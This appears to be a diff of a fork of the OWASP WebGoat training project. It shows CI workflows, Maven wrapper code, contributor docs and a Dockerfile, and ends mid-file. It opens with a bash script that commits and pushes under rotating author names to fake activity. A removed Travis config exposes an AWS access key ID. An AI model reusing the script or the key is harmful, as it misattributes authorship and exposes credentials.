echo "Delay between commits: $SLEEP_SECONDS seconds"
echo "Target branch: $TARGET_BRANCH"
# Loop to create the specified number of commits
for i in $(seq 1 $COMMIT_COUNT); do
# Calculate the index for the current author, cycling through the list
author_index=$(( (i - 1) % ${#authors[@]} ))
current_author="${authors[$author_index]}"
echo "Processing author: $current_author" # Debug echo
# Extract name and email from the author string
# Assumes format "Name <email>"
author_name=$(echo "$current_author" | sed -E 's/^(.*) <.*>$/\1/')
author_email=$(echo "$current_author" | sed -E 's/^.* <(.*)>$/\1/')
echo "Extracted name: $author_name, email: $author_email" # Debug echo
echo "--- Creating commit $i of $COMMIT_COUNT by $author_name ---"
# Configure git user for this specific commit
git config user.name "$author_name"
git config user.email "$author_email"
# Create a dummy change: append current timestamp and author to a file
# This ensures there's always something to commit
echo "$(date): Commit $i by $author_name" >> fake_commit_log.txt
# Stage the changes
git add fake_commit_log.txt
# Commit the changes
git commit -m "Automated commit $i by $author_name"
# Push the commit to the target branch
# Use --set-upstream origin $TARGET_BRANCH on the first push if needed
echo "Pushing commit..."
git push origin HEAD:$TARGET_BRANCH
echo "Commit $i pushed successfully."
# Wait for the specified delay before the next commit, unless it's the last one
if [ $i -lt $COMMIT_COUNT ]; then
echo "Waiting for $SLEEP_SECONDS seconds..."
sleep $SLEEP_SECONDS
fi
done
echo "Finished creating $COMMIT_COUNT commits."

1
.github/FUNDING.yml vendored Normal file
View File

@@ -0,0 +1 @@
custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat

14
.github/dependabot.yml vendored Normal file
View File

@@ -0,0 +1,14 @@
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "maven"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"

10
.github/lock.yml vendored Normal file
View File

@@ -0,0 +1,10 @@
---
daysUntilLock: 365
skipCreatedBefore: false
exemptLabels: []
lockLabel: false
lockComment: >
This thread has been automatically locked because it has not had
recent activity after it was closed. :lock: Please open a new issue
for regressions or related bugs.
setLockReason: false

10
.github/stale.yml vendored Normal file
View File

@@ -0,0 +1,10 @@
---
daysUntilStale: 90
daysUntilClose: 14
onlyLabels:
- waiting for input
- wontfix
staleLabel: stale
markComment: >
This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs.
closeComment: false

54
.github/workflows/branchbuild.txt vendored Normal file
View File

@@ -0,0 +1,54 @@
name: "Branch build"
on:
push:
branches:
- "*"
- "!main"
jobs:
branch-build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ ubuntu-latest, windows-latest, macos-latest ]
java-version: [ 21 ]
steps:
- uses: actions/checkout@v4
- name: Set up JDK ${{ matrix.java-version }}
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: ${{ matrix.java-version }}
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.3.1
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven
run: mvn --no-transfer-progress verify
- name: "Set up QEMU"
if: runner.os == 'Linux'
uses: docker/setup-qemu-action@v2.2.0
- name: "Set up Docker Buildx"
if: runner.os == 'Linux'
uses: docker/setup-buildx-action@v2
- name: "Verify Docker WebGoat build"
if: runner.os == 'Linux'
uses: docker/build-push-action@v5.1.0
with:
context: ./
file: ./Dockerfile
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Verify Docker WebGoat desktop build"
uses: docker/build-push-action@v5.1.0
if: runner.os == 'Linux'
with:
context: ./
file: ./Dockerfile_desktop
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

51
.github/workflows/build.yml vendored Normal file
View File

@@ -0,0 +1,51 @@
name: "Main / Pull requests build"
on:
pull_request:
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
branches: [ main ]
push:
branches:
- main
jobs:
pre-commit:
name: Pre-commit check
runs-on: ubuntu-latest
steps:
- name: Checkout git repository
uses: actions/checkout@v4.1.6
- name: Setup python
uses: actions/setup-python@v5
with:
python-version: "3.9"
- uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: '23'
- name: Pre-commit checks
uses: pre-commit/action@v3.0.1
- name: pre-commit-c-lite
uses: pre-commit-ci/lite-action@v1.1.0
if: always()
build:
runs-on: ${{ matrix.os }}
needs: [ pre-commit ]
strategy:
fail-fast: true
matrix:
os: [ windows-latest, ubuntu-latest, macos-13 ]
max-parallel: 1
steps:
- uses: actions/checkout@v4.1.6
- name: Set up JDK 23
uses: actions/setup-java@v4.2.1
with:
distribution: 'temurin'
java-version: 23
architecture: x64
cache: 'maven'
- name: Build with Maven
run: mvn --no-transfer-progress verify

143
.github/workflows/release.yml vendored Normal file
View File

@@ -0,0 +1,143 @@
name: "Release Pipeline"
on:
push:
tags:
- v*
jobs:
release:
if: github.repository == 'WebGoat/WebGoat'
name: Release WebGoat
runs-on: ubuntu-latest
permissions:
contents: write
environment:
name: release
steps:
- uses: actions/checkout@v4
- name: Set up JDK 23
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 23
architecture: x64
cache: 'maven'
- name: "Set labels for ${{ github.ref }}"
run: |
echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
- name: Build with Maven
run: |
mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
mvn --no-transfer-progress install -DskipTests
- name: "Create release"
uses: softprops/action-gh-release@v1
with:
draft: false
files: |
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
body: |
## Version ${{ github.ref_name }}
### New functionality
- test
### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
## Contributors
Special thanks to the following contributors providing us with a pull request:
- Person 1
- Person 2
And everyone who provided feedback through Github.
Team WebGoat
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: "Set up QEMU"
uses: docker/setup-qemu-action@v3.6.0
with:
platforms: all
- name: "Set up Docker Buildx"
uses: docker/setup-buildx-action@v3
- name: "Login to dockerhub"
uses: docker/login-action@v3.4.0
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: "Build and push WebGoat"
uses: docker/build-push-action@v6.16.0
with:
context: ./
file: ./Dockerfile
push: true
platforms: linux/amd64, linux/arm64
tags: |
webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat:latest
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Build and push WebGoat desktop"
uses: docker/build-push-action@v6.16.0
with:
context: ./
file: ./Dockerfile_desktop
push: true
platforms: linux/amd64, linux/arm64
tags: |
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat-desktop:latest
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
new_version:
if: github.repository == 'WebGoat/WebGoat'
name: Update to next SNAPSHOT version
needs: [ release ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Set up JDK 23
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 23
architecture: x64
- name: Set version to next snapshot
run: |
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
- name: Push the changes to new branch
uses: devops-infra/action-commit-push@v0.10.0
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
add_timestamp: true
commit_message: "Updating to the new development version"
force: false
- name: Create PR
uses: devops-infra/action-pull-request@v0.6.0
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
title: ${{ github.event.commits[0].message }}
target_branch: main

17
.github/workflows/welcome.yml vendored Normal file
View File

@@ -0,0 +1,17 @@
name: Welcome
on:
issues:
types:
- opened
jobs:
greeting:
if: github.repository == 'WebGoat/WebGoat'
runs-on: ubuntu-latest
steps:
- uses: actions/first-interaction@v1.3.0
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'
pr-message: 'Thanks so much for your contribution, really appreciated! We will have a look and merge it if everything checks out!'

28
.gitignore vendored
View File

@@ -14,7 +14,9 @@
/.settings/org.eclipse.wst.validation.prefs /.settings/org.eclipse.wst.validation.prefs
/.externalToolBuilders/ /.externalToolBuilders/
.project .project
/target */target/*
*.pmd
mongo-data/*
.classpath .classpath
.idea/ .idea/
.settings/ .settings/
@@ -29,9 +31,33 @@ src/main/webapp/plugin_lessons/*.jar
src/main/webapp/users/*.props src/main/webapp/users/*.props
classes/* classes/*
*.iml *.iml
pom.xml.versionsBackup
/*.iml /*.iml
.extract/* .extract/*
UserDatabase.mv.db UserDatabase.mv.db
webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props
webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom
webgoat-lessons/**/target
**/.DS_Store
webgoat-server/mongo-data/*
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
**/.sts4-cache/*
**/.vscode/*
**/.factorypath
/.sonatype
**/bin/*
webgoat.lck
webgoat.log
webgoat.properties
webgoat.script
TestClass.class
**/*.flattened-pom.xml
/.gitconfig
webgoat.gitconfig
node_modules/
/test-results/
/playwright-report/
/blob-report/
/playwright/.cache/

117
.mvn/wrapper/MavenWrapperDownloader.java vendored Normal file
View File

@@ -0,0 +1,117 @@
/*
* Copyright 2007-present the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import java.net.*;
import java.io.*;
import java.nio.channels.*;
import java.util.Properties;
public class MavenWrapperDownloader {
private static final String WRAPPER_VERSION = "0.5.5";
/**
* Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.
*/
private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/"
+ WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar";
/**
* Path to the maven-wrapper.properties file, which might contain a downloadUrl property to
* use instead of the default one.
*/
private static final String MAVEN_WRAPPER_PROPERTIES_PATH =
".mvn/wrapper/maven-wrapper.properties";
/**
* Path where the maven-wrapper.jar will be saved to.
*/
private static final String MAVEN_WRAPPER_JAR_PATH =
".mvn/wrapper/maven-wrapper.jar";
/**
* Name of the property which should be used to override the default download url for the wrapper.
*/
private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl";
public static void main(String args[]) {
System.out.println("- Downloader started");
File baseDirectory = new File(args[0]);
System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath());
// If the maven-wrapper.properties exists, read it and check if it contains a custom
// wrapperUrl parameter.
File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH);
String url = DEFAULT_DOWNLOAD_URL;
if(mavenWrapperPropertyFile.exists()) {
FileInputStream mavenWrapperPropertyFileInputStream = null;
try {
mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile);
Properties mavenWrapperProperties = new Properties();
mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream);
url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url);
} catch (IOException e) {
System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'");
} finally {
try {
if(mavenWrapperPropertyFileInputStream != null) {
mavenWrapperPropertyFileInputStream.close();
}
} catch (IOException e) {
// Ignore ...
}
}
}
System.out.println("- Downloading from: " + url);
File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH);
if(!outputFile.getParentFile().exists()) {
if(!outputFile.getParentFile().mkdirs()) {
System.out.println(
"- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'");
}
}
System.out.println("- Downloading to: " + outputFile.getAbsolutePath());
try {
downloadFileFromURL(url, outputFile);
System.out.println("Done");
System.exit(0);
} catch (Throwable e) {
System.out.println("- Error downloading");
e.printStackTrace();
System.exit(1);
}
}
private static void downloadFileFromURL(String urlString, File destination) throws Exception {
if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) {
String username = System.getenv("MVNW_USERNAME");
char[] password = System.getenv("MVNW_PASSWORD").toCharArray();
Authenticator.setDefault(new Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
}
URL website = new URL(urlString);
ReadableByteChannel rbc;
rbc = Channels.newChannel(website.openStream());
FileOutputStream fos = new FileOutputStream(destination);
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
fos.close();
rbc.close();
}
}

BIN
.mvn/wrapper/maven-wrapper.jar vendored Normal file

Binary file not shown.

2
.mvn/wrapper/maven-wrapper.properties vendored Normal file
View File

@@ -0,0 +1,2 @@
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar

28
.pre-commit-config.yaml Normal file
View File

@@ -0,0 +1,28 @@
ci:
autofix_commit_msg: |
[pre-commit.ci] auto fixes from pre-commit.com hooks
autofix_prs: false # managed in the action step
autoupdate_branch: ""
autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
autoupdate_schedule: weekly
skip: []
submodules: false
repos:
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.4.0
hooks:
- id: check-yaml
- id: end-of-file-fixer
exclude: ^(README.md|CREATE_RELEASE.md)
- id: trailing-whitespace
- repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
rev: v9.5.0
hooks:
- id: commitlint
stages: [commit-msg]
- repo: https://github.com/ejba/pre-commit-maven
rev: v0.3.4
hooks:
- id: maven
args: [ 'clean compile' ]
- id: maven-spotless-apply

View File

@@ -1,59 +0,0 @@
language: java
jdk:
- oraclejdk7
- oraclejdk8
install: "/bin/true"
script:
- mvn clean install -q
- git clone -b develop https://github.com/WebGoat/WebGoat-Lessons.git
- mvn -file ./WebGoat-Lessons/pom.xml clean package -q
- cp -fa ./WebGoat-Lessons/target/plugins/*.jar ./webgoat-container/src/main/webapp/plugin_lessons/
# Start the container this will make sure we do not see the debug logging of the Tomcat 7 Maven plugin
# which seems to always be set to DEBUG this will fail the build because we generate too much logging
- nohup bash -c "java -jar ./webgoat-standalone/target/webgoat-standalone-7.1-SNAPSHOT-exec.jar --port 8888 2>&1 &"
- if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" -q clean install failsafe:integration-test; else mvn -q failsafe:integration-test; fi
cache:
directories:
- $HOME/.m2
before_deploy:
- export WEBGOAT_CONTAINTER_TARGET_DIR=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/target
- export WEBGOAT_STANDALONE_TARGET_DIR=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-standalone/target
- export WEBGOAT_ARTIFACTS_FOLDER=$HOME/build/$TRAVIS_REPO_SLUG/Deployable_Artifacts/
- mkdir $WEBGOAT_ARTIFACTS_FOLDER
- cp -fa $WEBGOAT_CONTAINTER_TARGET_DIR/* $WEBGOAT_ARTIFACTS_FOLDER/
- cp -fa $WEBGOAT_STANDALONE_TARGET_DIR/* $WEBGOAT_ARTIFACTS_FOLDER/
- echo "Contents of artifcts folder:"
- ls $WEBGOAT_ARTIFACTS_FOLDER
deploy:
provider: s3
access_key_id: AKIAJQLKPGHXRH2AH5QA
secret_access_key:
secure: 45+SwWlPFujD9FOOFLA9Lz0CaePVrn/SEsAhAn0Ve9sYpI0VsijZNymh6D29t93jBXgZoGhu/v0QJkcAA/71fQM+nGMBJjB5wmVFJ1c2A4k7tfWCVbBRI0aHGpJu12j+7BLuSfPCmCAFQGoVo7dWzfqeODe5j9Qpe9fsiQVnrKI=
bucket: webgoat-war
skip_cleanup: true
acl: public_read
local_dir: "$WEBGOAT_ARTIFACTS_FOLDER"
on:
repo: WebGoat/WebGoat
branch: develop
jdk: oraclejdk8
after_success:
- mvn versioneye:update -q
- mvn cobertura:cobertura coveralls:report -q
notifications:
slack:
secure: S9VFew5NSE8WDzYD1VDBUULKKT0fzgblQACznwQ85699b2yeX9TX58N3RZvRS1JVagVP1wu2xOrwN2g+AWx4Ro3UBZD5XG86uTJWpCLD4cRWHBoGMH2TfvI7/IzsWmgxH4MBxFRvZr/eEhlVAux+N9H4EoEdS4CKsJXEqV37PlA=
env:
global:
- secure: "ZLZKz6lGt8YZ+NhkZPBAlI235+lEmu37Tcf+yTwh5yXuHAlnvvF6hPui7rANA/stbYGOIqIdhGOXbdrwyTU4Pvg78VwJOwsa9RtHJfou3pg4Ud9i0/dEeVl8aakmg2HDaWYGcFox8X1ViVc5UWjuBLztfJKQUEx0buJoWdMSf2E="
addons:
sauce_connect: true
coverity_scan:
project:
name: "WebGoat/WebGoat"
description: "Coverity Scan from Travis CI Build Automation"
notification_email: doug.morato@owasp.org
build_command_prepend: "mvn clean"
build_command: "mvn -DskipTests=true install"
branch_pattern: coverity_scan

60
CODE_OF_CONDUCT.md Normal file
View File

@@ -0,0 +1,60 @@
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
- Using welcoming and inclusive language
- Being respectful of differing viewpoints and experiences
- Gracefully accepting constructive criticism
- Focusing on what is best for the community
- Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
- The use of sexualized language or imagery and unwelcome sexual attention or advances
- Trolling, insulting/derogatory comments, and personal or political attacks
- Public or private harassment
- Publishing others' private information, such as a physical or electronic address, without explicit permission
- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack).
- Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Disclaimer
The WebGoat project and its materials are conceived for educational and research purposes only.
Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials.
The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them.
Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions.
The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org.
All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4").
For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq)

119
CONTRIBUTING.md Normal file
View File

@@ -0,0 +1,119 @@
# Contributing
[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
This document describes how you can contribute to WebGoat. Please read it carefully.
**Table of Contents**
* [How to Contribute to the Project](#how-to-contribute-to-the-project)
* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment)
* [How to get your PR Accepted](#how-to-get-your-pr-accepted)
## How to Contribute to the project
There are a couple of ways on how you can contribute to the project:
* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added.
* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos.
* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat).
## How to get your PR accepted
Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
The minimum requirements for code contributions are:
1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
2. All new and changed code _should_ have a corresponding unit and/or integration test.
3. New and changed lessons _must_ have a corresponding integration test.
4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
Additionally, the following guidelines can help:
### Keep your pull requests limited to a single issue
Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples:
* If you are making spelling corrections in the docs, don't modify other files.
* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
### Write a good commit message
* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
- fix:
- feat:
- build:
- chore:
- ci:
- docs:
- refactor:
- test:
Using this style of commits makes it possible to create our release notes automatically.
* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
For example: `Fix #545` or `Closes #10`
## How to set up your Contributor Environment
1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account.
2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo").
3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this.
4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository:
```bash
$ git remote -v
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
origin git@github.com:<your Github handle>/WebGoat.git (push)
$ git remote add upstream git@github.com:WebGoat/WebGoat.git
$ git remote -v
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
origin git@github.com:<your Github handle>/WebGoat.git (push)
upstream git@github.com:OWASP/WebGoat.git (fetch)
upstream git@github.com:OWASP/WebGoat.git (push)
```
See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
```bash
$ git fetch upstream
$ git merge upstream/main
```
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5.
> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open.
## What not to do
Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration:
* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section.
* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide.
Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details.

22
COPYRIGHT.txt Normal file
View File

@@ -0,0 +1,22 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - 2016 Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License along with this program; if
not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA.
Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

26
CREATE_RELEASE.md Normal file
View File

@@ -0,0 +1,26 @@
## Release WebGoat
### Version numbers
For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
and 2023.01 in the `pom.xml`.
### Release notes:
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
committers. In order to fetch the list of issues included use:
`git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
```
mvn versions:set
<< update release notes >>
mvn verify
git commit ....
git tag v2023.01
git push --tags
git push
```
After the release has been tagged and the build process is done. The release notes should be updated in the GitHub
release page.

40
Dockerfile Normal file
View File

@@ -0,0 +1,40 @@
# We need JDK as some of the lessons needs to be able to compile Java code
FROM docker.io/eclipse-temurin:23-jdk-noble
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
RUN \
useradd -ms /bin/bash webgoat && \
chgrp -R 0 /home/webgoat && \
chmod -R g=u /home/webgoat
USER webgoat
COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
EXPOSE 8080
EXPOSE 9090
ENV TZ=Europe/Amsterdam
WORKDIR /home/webgoat
ENTRYPOINT [ "java", \
"-Duser.home=/home/webgoat", \
"-Dfile.encoding=UTF-8", \
"--add-opens", "java.base/java.lang=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
"--add-opens", "java.base/java.text=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"-Drunning.in.docker=true", \
"-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
HEALTHCHECK --interval=5s --timeout=3s \
